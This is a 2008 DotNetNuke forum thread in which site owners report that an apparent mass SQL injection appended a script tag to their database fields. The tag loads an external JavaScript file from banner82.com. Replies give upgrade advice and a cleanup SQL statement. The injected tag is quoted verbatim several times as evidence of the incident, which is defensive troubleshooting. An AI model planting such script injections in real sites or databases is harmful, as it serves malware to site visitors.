Products

Solutions

Resources

Partners

Community

Blog

About

QA

Ideas Test

New Community Website

Ordinarily, you'd be at the right spot, but we've recently launched a brand new community website... For the community, by the community.

Yay... Take Me to the Community!

Welcome to the DNN Community Forums, your preferred source of online community support for all things related to DNN.
In order to participate you must be a registered DNNizen

HomeHomeOur CommunityOur CommunityGeneral Discuss...General Discuss...DNN SQL Injection Vulnerability? I.E. How did this happen?DNN SQL Injection Vulnerability? I.E. How did this happen?
Previous
 
Next
New Post
5/16/2008 2:01 PM
 

Couldn't find a bug report forum, so....

Long story short; started getting a DotNetNuke.Services.Exceptions.PageLoadException: Input string was not in a correct format error this morning after I tried to log in. After I got that error, site wouldn't load at all. DNN versions of the site is 3 weeks old, just finished porting from the existing site. It had been working without a htich for 3 weeks tho'.

Much Googling ensued and ultimately I tracked it down to the PropertyValue column in the UserProfile table. Seems somone has some how managed to append a bit of code that called a javascript to the end of every value in the column:

<script src="http://www.banner82.com/b.js"></script>

Without detailing the whole process, this script ultimately led to anothet site that tried to load a script that aloowed access to the file system through IE. Doh!

That's not hte purpose of this post however...

Once I deleted this bit of script from the end of each PropertyValue field value, site came back fine.

My concerns:
How did this happen?
How can I prevent it from happening again?
Keep in mind it wasn't just 1 field in the PropertyValue coumn, it was every field.....

Thanks,

Dave

 
New Post
5/16/2008 3:18 PM
 

I don't think, anyone got access to the server's file sytem, i.e. there has been no vulnerability of your server, it might only affect other users visiting the profile. However, to prevent this, any HTML and scripts shall be stripped of the input. I will forward this to our security experts. Thank you.


Cheers from Germany,
Sebastian Leupold

dnnWerk - The DotNetNuke Experts   German Spoken DotNetNuke User Group

Speed up your DNN Websites with TurboDNN
 
New Post
5/16/2008 3:28 PM
 

Dave, which DNN version are you running - AFAIK this has been been fixed since a couple of versions. I sugest to upgrade to latest version of DotNetNuke!


Cheers from Germany,
Sebastian Leupold

dnnWerk - The DotNetNuke Experts   German Spoken DotNetNuke User Group

Speed up your DNN Websites with TurboDNN
 
New Post
5/18/2008 10:07 PM
 

We just got tagged with the same thing.

dbo.User table's Username filed looks like this:

admin<script src=http://www.banner82.com/b.js></script>

host<script src=http://www.banner82.com/b.js></script>

Seems like a simple fix to remove, but wonder what else they tagged. We've locked down many tables to prevent compromises, but they keep sneaking in.

Not sure what other fields were compromised. Anyone have any help?

 

 
New Post
5/18/2008 10:34 PM
 

Where can we go to see what was fixed? I cannot upgrade our install due to 3rd party components not compatible with later versions.

NOTE: To clean up this injection, run:

Update Users SET Username = SUBSTRING(Username, 1, CHARINDEX('<script src=http://www.banner82.com/b.js></script>', Username)-1) WHERE CHARINDEX('<script src=http://www.banner82.com/b.js></script>', Username)-1 > 0

 
Previous
 
Next
HomeHomeOur CommunityOur CommunityGeneral Discuss...General Discuss...DNN SQL Injection Vulnerability? I.E. How did this happen?DNN SQL Injection Vulnerability? I.E. How did this happen?


These Forums are dedicated to discussion of DNN Platform and Evoq Solutions.

For the benefit of the community and to protect the integrity of the ecosystem, please observe the following posting guidelines:

  1. No Advertising. This includes promotion of commercial and non-commercial products or services which are not directly related to DNN.
  2. No vendor trolling / poaching. If someone posts about a vendor issue, allow the vendor or other customers to respond. Any post that looks like trolling / poaching will be removed.
  3. Discussion or promotion of DNN Platform product releases under a different brand name are strictly prohibited.
  4. No Flaming or Trolling.
  5. No Profanity, Racism, or Prejudice.
  6. Site Moderators have the final word on approving / removing a thread or post or comment.
  7. English language posting only, please.
What is Liquid Content?
Find Out
What is Liquid Content?
Find Out
What is Liquid Content?
Find Out